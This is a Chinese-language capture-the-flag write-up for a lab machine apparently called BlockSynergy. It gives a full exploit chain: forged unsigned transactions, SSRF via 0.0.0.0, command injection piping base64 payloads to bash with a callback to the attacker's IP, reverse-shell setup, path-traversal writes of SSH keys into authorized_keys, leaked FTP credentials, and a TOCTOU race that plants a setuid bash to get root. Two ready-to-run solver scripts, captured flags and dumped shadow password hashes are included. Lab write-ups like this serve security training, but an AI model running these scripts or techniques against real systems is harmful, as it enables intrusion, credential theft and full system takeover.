BlockSynergy🔗

Summary🔗
以 Flask 寫的區塊鏈網站,/broadcast_transaction 沒有做簽章驗證,偽造一筆任意金額轉帳給自己就能直接解鎖 VIP(餘額 ≥10 coins)。VIP 的節點註冊功能沒有把 0.0.0.0 列入黑名單,可以透過 SSRF 繞過 /admin;/admin/nodes/manage 的 ping_node 同一個網址在註冊時的驗證跟執行時的判讀給出不一致的結果,導致指令注入,取得 walter shell。內部的 port 5000 有路徑穿越的任意檔案寫入漏洞,可以將 SSH 公鑰寫進 hank 的 authorized_keys。最後透過 pspy64 觀察到 root 的排程備份腳本會洩漏 FTP 憑證;還原機制的邏輯是先下載 > 驗證 SHA-256 > 再解壓縮,中間存放暫存檔的目錄是可寫入的, 用 inotify 在校驗讀取完成、解壓縮尚未開始的瞬間,把暫存檔替換成帶有 setuid bash 的壓縮檔,即可提權到 root。
Recon🔗
nmap -sCV -p- --min-rate 5000 $TARGET
------
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.18 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 0b:93:57:66:c8:a4:f0:85:6a:d2:e1:a4:d5:f4:52:81 (ECDSA)
|_ 256 aa:38:b7:38:85:1d:21:1e:db:0a:15:8b:c8:a4:03:92 (ED25519)
8080/tcp open http Werkzeug httpd 3.1.3 (Python 3.12.3)
|_http-title: BlockSynergy \xE2\x80\x93 Decentralized Future
|_http-server-header: Werkzeug/3.1.3 Python/3.12.3
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelSolution🔗
Step 1:偽造交易解鎖 VIP🔗
先建一個 Wallet
curl -s -c c.txt -b c.txt -X POST $TARGET/dashboard/wallet -d "action=create&filename=w" -o wallet.json
cat wallet.json
------
{"private_key": "de84f5736c534c05f9156426b6b5b368ed3d93924d6c000297ee5b2478da56e3", "public_key": "0f78c63367b919df4c447cbc7ec2ad0d78f5abb0d666ada83e48920ab3ef8833b964e0a90f0a8df5e8346df312d7e6723751f1314f5109a5b387dfa437902dc8"}
再對 /broadcast_transaction 送一筆 signature 隨便填的轉帳,看伺服器會不會接受:
ADDR=$(python3 -c "import json;print(json.load(open('wallet.json'))['public_key'])")
curl -s -c c.txt -b c.txt -X POST $TARGET/dashboard/wallet -F "action=load" -F "file=@wallet.json;type=application/json" > /dev/null
curl -s -b c.txt $TARGET/dashboard/info | grep -o 'Balance[^<]*'
------
Balance: 0
curl -s -b c.txt -c c.txt -X POST $TARGET/broadcast_transaction -H "Content-Type: application/json" \
-d "{\"timestamp\":\"2026-08-30 00:00:00\",\"sender\":\"anyone\",\"receiver\":\"$ADDR\",\"amount\":50,\"signature\":\"00\"}"
------
Added!
curl -s -b c.txt $TARGET/dashboard/info | grep -o 'Balance[^<]*'
------
Balance: 50
可以看到假簽章直接被接受, 代表 /broadcast_transaction 沒有做簽章驗證。只要 balance ≥ 10 就能直接解鎖 VIP。
Step 2:SSRF 繞過 IP 白名單🔗
VIP 節點註冊功能有擋 127.0.0.1,但 0.0.0.0 可以註冊:
curl -s -b c.txt -c c.txt -X POST $TARGET/dashboard/vip/nodes -d "action=register&node=http://127.0.0.1:8080/admin" | grep -A1 'toast-body' | tail -1 | xargs
------
Invalid URL or localhost!
curl -s -b c.txt -c c.txt -X POST $TARGET/dashboard/vip/nodes -d "action=register&node=http://0.0.0.0:8080/admin" | grep -A1 'toast-body' | tail -1 | xargs
------
Node registered!
curl -s -b c.txt $TARGET/dashboard/vip/nodes | grep 'title='
------
<td class="p-4" style="max-width: 100%; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;" title="http://0.0.0.0:8080/admin">http://0.0.0.0:8080/admin</td>
現在確認 test_node/0 是否顯示 Admin 頁面:
curl -s -b c.txt $TARGET/dashboard/vip/nodes/test_node/0 | grep -o '<title>[^<]*'
------
<title>Admin Dashboard
確認顯示 Admin 頁面,代表伺服器對自己發出的請求視為 127.0.0.1。
Step 3:指令注入取得 Walter Shell🔗
/admin/nodes/manage 有一個 Ping 功能(action=ping_node&target=<url>),但 SSRF 只能發送 GET。做法(URL Parser Differential):把指令帶入 user@host,再包一層 wrapper node,等於讓伺服器對自己發送 POST:
B64=$(echo -n 'id' | base64 -w0)
CMD_NODE="http://foo&echo\${IFS}''${B64}|base64\${IFS}''-d|bash&@$VPN_IP:31337/"
curl -s -b c.txt -c c.txt -X POST $TARGET/dashboard/vip/nodes --data-urlencode "action=register" --data-urlencode "node=$CMD_NODE"
WRAPPER="http://0.0.0.0:8080/admin/nodes/manage?action=ping_node&target=$(python3 -c "import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))" "$CMD_NODE")"
curl -s -b c.txt -c c.txt -X POST $TARGET/dashboard/vip/nodes --data-urlencode "action=register" --data-urlencode "node=$WRAPPER"
NODE_ID=$(curl -s -b c.txt $TARGET/dashboard/vip/nodes | grep -oE "testNode\('[0-9]+'\)" | tail -1 | grep -oE '[0-9]+')
curl -s -b c.txt $TARGET/dashboard/vip/nodes/test_node/$NODE_ID | grep -o 'uid=.*'
------
uid=1000(walter) gid=1000(walter) groups=1000(walter)
取得 Walter Shell:
penelope -p 4444
------
[+] Listening for reverse shells on 0.0.0.0:4444 → ... 10.10.xx.xxx
[+] Got reverse shell from blocksynergy~10.xxx.xxx.xxx-Linux-x86_64
[+] Shell upgraded successfully using /usr/bin/python3!
walter@blocksynergy:/opt/blocksynergy$ cd ~ && cat user.txt
7061d126873dbd0b897e0f6caa030fa4Step 4:路徑穿越寫入 SSH Key🔗
看本機有什麼服務:
ss -tlnp 2>/dev/null | grep -E ':5000|:8080'
------
LISTEN 0 128 127.0.0.1:5000 0.0.0.0:*
LISTEN 0 128 0.0.0.0:8080 0.0.0.0:* users:(("python3",pid=1484,fd=3))
127.0.0.1:5000 為 Smart Contract。
該服務原始碼位置在 /opt/staging/smart_contracts/contract.py
ContractEngine.run_hook() 在 debug=True,且 hook 為 "log":
if self.debug == "True":
if hook_val == "log":
content = self.contract.get("__meta__", {}).get("log_content", "").get(hook_name, "")
file = self.contract.get("__meta__", {}).get("log_file", "")
logfile = f"/opt/staging/smart_contracts/logs/{file}"
with open(logfile, "a") as f:
f.write(f"[{timestamp}] [{hook_name}] {content}\n")
log_file/log_content 來自上傳合約的 JSON,沒有做檢查或過濾。把 log_file 設成 ../../../../home/hank/.ssh/authorized_keys,log_content 放自己的 SSH 公鑰,就能任意寫入檔案:
cat > evil.json << 'EOF'
{"name":"x","id":1,"owner":"Developer","debug":"True","logic":{"claim":"allow"},"storage":{},"hooks":{"on_claim":"log"},"__meta__":{"log_file":"../../../../home/hank/.ssh/authorized_keys","log_content":{"on_claim":"\nssh-ed25519 AAAA...kali@kali\n"}}}
EOF
curl -s -c c.txt -b c.txt -F 'action=upload_contract' -F 'contract_file=@evil.json;type=application/json' http://127.0.0.1:5000/dashboard -o /dev/null -w 'upload:%{http_code}\n'
------
upload:200
curl -s -c c.txt -b c.txt -d 'action=contract_claim' http://127.0.0.1:5000/dashboard -o /dev/null -w 'claim:%{http_code}\n'
------
claim:200ssh -i ssh_keys/hank_key hank@10.xxx.xxx.xxx
------
hank@blocksynergy:~$ id
uid=1001(hank) gid=1003(hank) groups=1003(hank),1001(developers)
Step 3 + Step 4 腳本:
#!/usr/bin/env python3
# Usage: python3 solve_user.py http://<target_ip>:8080 <vpn_ip>
import os, sys, json, re, base64, html as htmllib, subprocess
from datetime import datetime
from urllib.parse import urlencode
import requests
TARGET = sys.argv[1].rstrip("/")
VPN_IP = sys.argv[2]
os.makedirs("ssh_keys", exist_ok=True)
if not os.path.exists("ssh_keys/hank_key"):
subprocess.run(["ssh-keygen", "-t", "ed25519", "-f", "ssh_keys/hank_key", "-N", "", "-C", "hank_key"], check=True)
HANK_PUBKEY = open("ssh_keys/hank_key.pub").read().strip()
s = requests.Session()
wallet = s.post(f"{TARGET}/dashboard/wallet", data={"action": "create", "filename": "w"}).json()
address = wallet["public_key"]
s.post(f"{TARGET}/dashboard/wallet", data={"action": "load"},
files={"file": ("w.json", json.dumps(wallet), "application/json")})
fake_tx = {"timestamp": str(datetime.now()), "sender": "anyone",
"receiver": address, "amount": 50, "signature": "00"}
s.post(f"{TARGET}/broadcast_transaction", json=fake_tx)
def register(url):
s.post(f"{TARGET}/dashboard/vip/nodes", data={"action": "register", "node": url})
def find_id(url):
page = s.get(f"{TARGET}/dashboard/vip/nodes").text
pairs = [(htmllib.unescape(v), nid) for v, nid in
re.findall(r'title="([^"]+)".*?testNode\(\'(\d+)\'\)', page, re.S)]
for v, nid in reversed(pairs):
if v == url:
return nid
return None
def test_node(url):
nid = find_id(url)
return s.get(f"{TARGET}/dashboard/vip/nodes/test_node/{nid}").text if nid else None
register("http://0.0.0.0:8080/admin")
assert "Admin Dashboard" in test_node("http://0.0.0.0:8080/admin")
def ping_node_rce(cmd, port):
b64 = base64.b64encode(cmd.encode()).decode()
command_node = f"http://foo&echo$IFS''{b64}|base64$IFS''-d|bash&@{VPN_IP}:{port}/"
register(command_node)
internal_action = "http://0.0.0.0:8080/admin/nodes/manage?" + urlencode(
{"action": "ping_node", "target": command_node})
register(internal_action)
resp = test_node(internal_action)
if not resp:
return None
outs = [htmllib.unescape(m).strip() for m in re.findall(r"<pre[^>]*>(.*?)</pre>", resp, re.S)]
return next((o for o in outs if o), None)
out = ping_node_rce('id; cd "$HOME" && cat user.txt', 18083)
print("[+] RCE output:\n" + out)
contract = {
"name": "x", "id": 1, "owner": "Developer", "debug": "True",
"logic": {"claim": "allow"}, "storage": {}, "hooks": {"on_claim": "log"},
"__meta__": {
"log_file": "../../../../home/hank/.ssh/authorized_keys",
"log_content": {"on_claim": f"\n{HANK_PUBKEY}\n"},
},
}
inject_cmd = (
f"cd /tmp && echo '{json.dumps(contract)}' > evil.json && "
"curl -s -c c.txt -b c.txt -F action=upload_contract "
"-F contract_file=@evil.json\\;type=application/json http://127.0.0.1:5000/dashboard > /dev/null && "
"curl -s -c c.txt -b c.txt -d action=contract_claim http://127.0.0.1:5000/dashboard > /dev/null && "
"echo SSH_KEY_INJECTED"
)
out2 = ping_node_rce(inject_cmd, 18084)
print("[+] SSH key injection:\n" + (out2 or "(no output)"))
執行結果:
python3 solve_user.py http://<ip>:<port> 10.10.x.x
------
[+] RCE output:
/bin/sh: 1: @10.10.x.x: not found
ping: invalid argument: '4foo'
uid=1000(walter) gid=1000(walter) groups=1000(walter)
7061d126873dbd0b897e0f6caa030fa4
[+] SSH key injection:
/bin/sh: 1: @10.10.x.x: not found
ping: invalid argument: '4foo'
SSH_KEY_INJECTEDStep 5:TOCTOU Race 取得 Root🔗
在 /etc/crontab 有 */5 * * * * root /opt/backup/backup.sh
透過 pspy64 觀察,可以看到 FTP 憑證洩漏:
CMD: UID=0 PID=221897 | /bin/bash /opt/backup/backup.sh
CMD: UID=0 PID=221898 | /usr/bin/curl -T /tmp/_opt_staging.tar.gz ftp://ftpuser:KTkJSAjuDjSOocAYLgYa@127.0.0.1:15432/upload/_opt_staging.tar.gz
/var/log 底下除了 backup.log 還多了一個 restore.log:
ls -la /var/log/ | grep -iE 'backup|restore'
------
-rw-r--r-- 1 root root 11736 Aug 30 11:16 backup.log
-rw-r--r-- 1 root root 5970 Aug 30 11:01 restore.log
restore.log 內容洩漏了觸發檔名、目標路徑,還有 checksum 校驗:
cat /var/log/restore.log
------
[*] restore file found! Restore of /opt/blocksynergy triggered at Sun Aug 30 08:22:38 UTC 2026
[*] Checksum verified. Restoring /opt/blocksynergy...
[*] /opt/blocksynergy restored
另外開一個 shell 觸發,繼續用 pspy64 觀察:
touch /opt/blocksynergy/restore
------
CMD: UID=0 PID=230966 | /bin/bash /opt/backup/restore_daemon.sh
CMD: UID=0 PID=230967 | sha256sum /var/restore_work/_opt_blocksynergy.tar.gz
CMD: UID=0 PID=230968 | awk {print $1}ls -ld /var/restore_work
------
drwxrwxr-x 2 root developers 4096 Aug 30 08:22 /var/restore_work
/var/restore_work 可寫,pspy64 可以看到 sha256sum 跟 tar xvf 是各自獨立 spawn,中間可能沒有同步機制,用 inotify 確認一下兩個動作間隔多久:
python3 timing_probe.py & sleep 1; touch /opt/blocksynergy/restore; wait
------
[1788089529.737] IN_CLOSE_WRITE curl
[1788089529.948] IN_CLOSE_NOWRITE #1 sha256sum 校驗
[1788089530.015] IN_CLOSE_NOWRITE #2 tar 解壓縮
race window = 0.067s
這 67ms 可作為 TOCTOU Race 的利用條件。用 inotify 監控 /var/restore_work,curl 觸發時把 downloaded 設成 True,等下一次 sha256sum 才用 os.rename() 換成 setuid bash 壓縮檔,在 tar 讀取前完成替換。
#!/usr/bin/env python3
# Usage: python3 solve_root.py <target_ip>
import os, subprocess, sys, time
IP = sys.argv[1]
KEY = "ssh_keys/hank_key"
os.makedirs("ssh_keys", exist_ok=True)
if not os.path.exists("ssh_keys/root_key"):
subprocess.run(["ssh-keygen", "-t", "ed25519", "-f", "ssh_keys/root_key", "-N", "", "-C", "root_key"], check=True)
ROOT_PUBKEY = open("ssh_keys/root_key.pub").read().strip()
def ssh(cmd, timeout=30):
return subprocess.run(
["ssh", "-i", KEY, "-o", "StrictHostKeyChecking=no", "-o", "BatchMode=yes",
f"hank@{IP}", cmd],
capture_output=True, text=True, timeout=timeout,
).stdout
def scp(local, remote):
subprocess.run(["scp", "-i", KEY, "-o", "StrictHostKeyChecking=no", local,
f"hank@{IP}:{remote}"], capture_output=True, timeout=30)
ssh(
"tar --owner=0 --group=0 --mode=4755 "
"--transform='s|^bash$|opt/blocksynergy/.diag|' "
"-czf /home/hank/suid.tar.gz -C /bin bash"
)
racer = r'''
import ctypes, os, struct, sys, time
IN_CLOSE_WRITE, IN_CLOSE_NOWRITE = 0x8, 0x10
WATCH_DIR = "/var/restore_work"
TARGET_NAME = "_opt_blocksynergy.tar.gz"
MIN_SIZE = 10 * 1024 * 1024
libc = ctypes.CDLL("libc.so.6", use_errno=True)
fd = libc.inotify_init1(0)
libc.inotify_add_watch(fd, WATCH_DIR.encode(), IN_CLOSE_WRITE | IN_CLOSE_NOWRITE)
payload = open("/home/hank/suid.tar.gz", "rb").read()
EVENT_FMT, target = "iIII", os.path.join(WATCH_DIR, TARGET_NAME)
EVENT_SIZE = struct.calcsize(EVENT_FMT)
tmp = os.path.join(WATCH_DIR, f".stage-{os.getpid()}")
downloaded = False
deadline = time.time() + 45
while time.time() < deadline:
data = os.read(fd, 4096)
pos = 0
while pos < len(data):
_, mask, _, namelen = struct.unpack_from(EVENT_FMT, data, pos)
pos += EVENT_SIZE
name = data[pos:pos+namelen].split(b"\x00", 1)[0].decode(errors="replace")
pos += namelen
if name != TARGET_NAME:
continue
if mask & IN_CLOSE_WRITE:
try:
downloaded = os.path.getsize(target) >= MIN_SIZE
except FileNotFoundError:
downloaded = False
elif mask & IN_CLOSE_NOWRITE and downloaded:
try:
open(tmp, "wb").write(payload)
os.rename(tmp, target)
print("SWAPPED", flush=True)
except FileNotFoundError:
continue
downloaded = False
for _ in range(80):
if os.path.exists("/opt/blocksynergy/.diag"):
print("CONFIRMED", flush=True)
sys.exit(0)
time.sleep(0.1)
print("MISS", flush=True)
'''
with open("race_watch.py", "w") as f:
f.write(racer)
scp("race_watch.py", "/home/hank/race_watch.py")
for attempt in range(1, 9):
print(f"[*] attempt {attempt}")
proc = subprocess.Popen(
["ssh", "-i", KEY, "-o", "StrictHostKeyChecking=no", f"hank@{IP}",
"timeout 15 python3 /home/hank/race_watch.py & sleep 1; touch /opt/blocksynergy/restore; wait"],
stdout=subprocess.PIPE, text=True,
)
proc.communicate(timeout=25)
if ssh("test -f /opt/blocksynergy/.diag && echo YES").strip() == "YES":
print(f"[+] .diag confirmed on attempt {attempt}")
break
else:
sys.exit("[-] all 8 attempts missed, just rerun this script")
print("[+] " + ssh("/opt/blocksynergy/.diag -p -c 'id; cat /root/root.txt'"))
ssh(
"/opt/blocksynergy/.diag -p -c "
f"'mkdir -p /root/.ssh && echo \"{ROOT_PUBKEY}\" >> /root/.ssh/authorized_keys "
"&& chmod 700 /root/.ssh && chmod 600 /root/.ssh/authorized_keys'"
)
print("[+] root SSH key installed, try: ssh -i ssh_keys/root_key root@" + IP)
執行結果:
python3 solve_root.py <target_ip>
------
[*] attempt 1
[*] attempt 2
[+] .diag confirmed on attempt 2
[+] uid=1001(hank) gid=1003(hank) euid=0(root) groups=1003(hank),1001(developers)
bc5bb23d16323af54e5a283ab54d53d3
[+] root SSH key installed, try: ssh -i ssh_keys/root_key root@10.xxx.xxx.xxxssh -i ssh_keys/root_key root@10.xxx.xxx.xxx
------
root@blocksynergy:~# id
uid=0(root) gid=0(root) groups=0(root)root:$y$j9T$TEpyHMatUQe1Gin1eknpj.$tMmPpcJN/Wy2YR.4KoFQPn2rKhsjyKrR2lAFoaSpIA0:20360:0:99999:7:::
walter:$6$/Tnnm64u6QWrLrga$jpHZdaFmOAMVCUlFyc.zBTlg768H9oEqV1AcS4W9JbRi6e3lWQTH.7BwTzaZ8rT4776BW6MgfvW93bddel
hank:$y$j9T$T0CBAq.nf0UX8AN1A1HT50$V5vhy7jLWwm2SzbkVwTjotAC5s.JJtEyF70/iE1HPhD:20343:0:99999:7:::